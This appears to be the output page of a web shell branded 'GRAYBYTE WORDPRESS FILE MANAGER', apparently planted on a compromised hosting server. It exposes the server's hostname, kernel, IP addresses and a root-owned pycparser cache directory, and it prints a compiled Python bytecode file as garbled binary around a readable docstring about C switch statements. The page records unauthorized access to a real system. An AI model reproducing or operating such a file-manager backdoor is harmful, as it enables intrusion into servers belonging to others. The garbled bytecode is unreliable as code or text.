✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ server366.web-hosting.com ​🇻​♯➤ 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2025

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 67.223.118.204 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.217.131
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /lib/python3.6/site-packages/pycparser/__pycache__//ast_transforms.cpython-36.pyc
3

g�wU�
�@s ddlmZdd�Zdd�ZdS)�)�c_astcCs�t|tj�st�t|jtj�s"|Stjg|jj�}d}xh|jjD]\}t|tjtj	f�rz|jj
|�t||j�|jd}q@|dkr�|jj
|�q@|jj
|�q@W||_|S)a� The 'case' statements in a 'switch' come out of parsing with one
        child node, so subsequent statements are just tucked to the parent
        Compound. Additionally, consecutive (fall-through) case statements
        come out messy. This is a peculiarity of the C grammar. The following:

            switch (myvar) {
                case 10:
                    k = 10;
                    p = k + 1;
                    return 10;
                case 20:
                case 30:
                    return 20;
                default:
                    break;
            }

        Creates this tree (pseudo-dump):

            Switch
                ID: myvar
                Compound:
                    Case 10:
                        k = 10
                    p = k + 1
                    return 10
                    Case 20:
                        Case 30:
                            return 20
                    Default:
                        break

        The goal of this transform it to fix this mess, turning it into the
        following:

            Switch
                ID: myvar
                Compound:
                    Case 10:
                        k = 10
                        p = k + 1
                        return 10
                    Case 20:
                    Case 30:
                        return 20
                    Default:
                        break

        A fixed AST node is returned. The argument may be modified.
    Nr���)
�
isinstancerZSwitch�AssertionErrorZstmtZCompoundZcoordZblock_items�Case�Default�append�_extract_nested_case�stmts)Zswitch_nodeZnew_compoundZ	last_caseZchild�r�$/usr/lib/python3.6/ast_transforms.py�fix_switch_cases
s3r
cCs:t|jdtjtjf�r6|j|jj��t|d|�dS)z� Recursively extract consecutive Case statements that are made nested
        by the parser and add them to the stmts_list.
    �rNr)rr
rrrr�popr	)Z	case_nodeZ
stmts_listrrrr	bsr	N)�rr
r	rrrr�<module>
sU


Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
30 Apr 2025 10.03 AM
root / root
0755
__init__.cpython-36.opt-1.pyc
2.483 KB
13 Nov 2019 2.57 PM
root / root
0644
__init__.cpython-36.pyc
2.483 KB
13 Nov 2019 2.57 PM
root / root
0644
_ast_gen.cpython-36.opt-1.pyc
8.46 KB
13 Nov 2019 2.57 PM
root / root
0644
_ast_gen.cpython-36.pyc
8.46 KB
13 Nov 2019 2.57 PM
root / root
0644
_build_tables.cpython-36.opt-1.pyc
0.456 KB
13 Nov 2019 2.57 PM
root / root
0644
_build_tables.cpython-36.pyc
0.456 KB
13 Nov 2019 2.57 PM
root / root
0644
ast_transforms.cpython-36.opt-1.pyc
2.388 KB
13 Nov 2019 2.57 PM
root / root
0644
ast_transforms.cpython-36.pyc
2.429 KB
13 Nov 2019 2.57 PM
root / root
0644
c_ast.cpython-36.opt-1.pyc
29.034 KB
13 Nov 2019 2.57 PM
root / root
0644
c_ast.cpython-36.pyc
29.034 KB
13 Nov 2019 2.57 PM
root / root
0644
c_generator.cpython-36.opt-1.pyc
14.542 KB
13 Nov 2019 2.57 PM
root / root
0644
c_generator.cpython-36.pyc
14.542 KB
13 Nov 2019 2.57 PM
root / root
0644
c_lexer.cpython-36.opt-1.pyc
11.952 KB
13 Nov 2019 2.57 PM
root / root
0644
c_lexer.cpython-36.pyc
11.952 KB
13 Nov 2019 2.57 PM
root / root
0644
c_parser.cpython-36.opt-1.pyc
54.324 KB
13 Nov 2019 2.57 PM
root / root
0644
c_parser.cpython-36.pyc
54.458 KB
13 Nov 2019 2.57 PM
root / root
0644
lextab.cpython-36.opt-1.pyc
5.583 KB
13 Nov 2019 2.57 PM
root / root
0644
lextab.cpython-36.pyc
5.583 KB
13 Nov 2019 2.57 PM
root / root
0644
plyparser.cpython-36.opt-1.pyc
2.005 KB
13 Nov 2019 2.57 PM
root / root
0644
plyparser.cpython-36.pyc
2.005 KB
13 Nov 2019 2.57 PM
root / root
0644
yacctab.cpython-36.opt-1.pyc
103.491 KB
13 Nov 2019 2.57 PM
root / root
0644
yacctab.cpython-36.pyc
103.491 KB
13 Nov 2019 2.57 PM
root / root
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF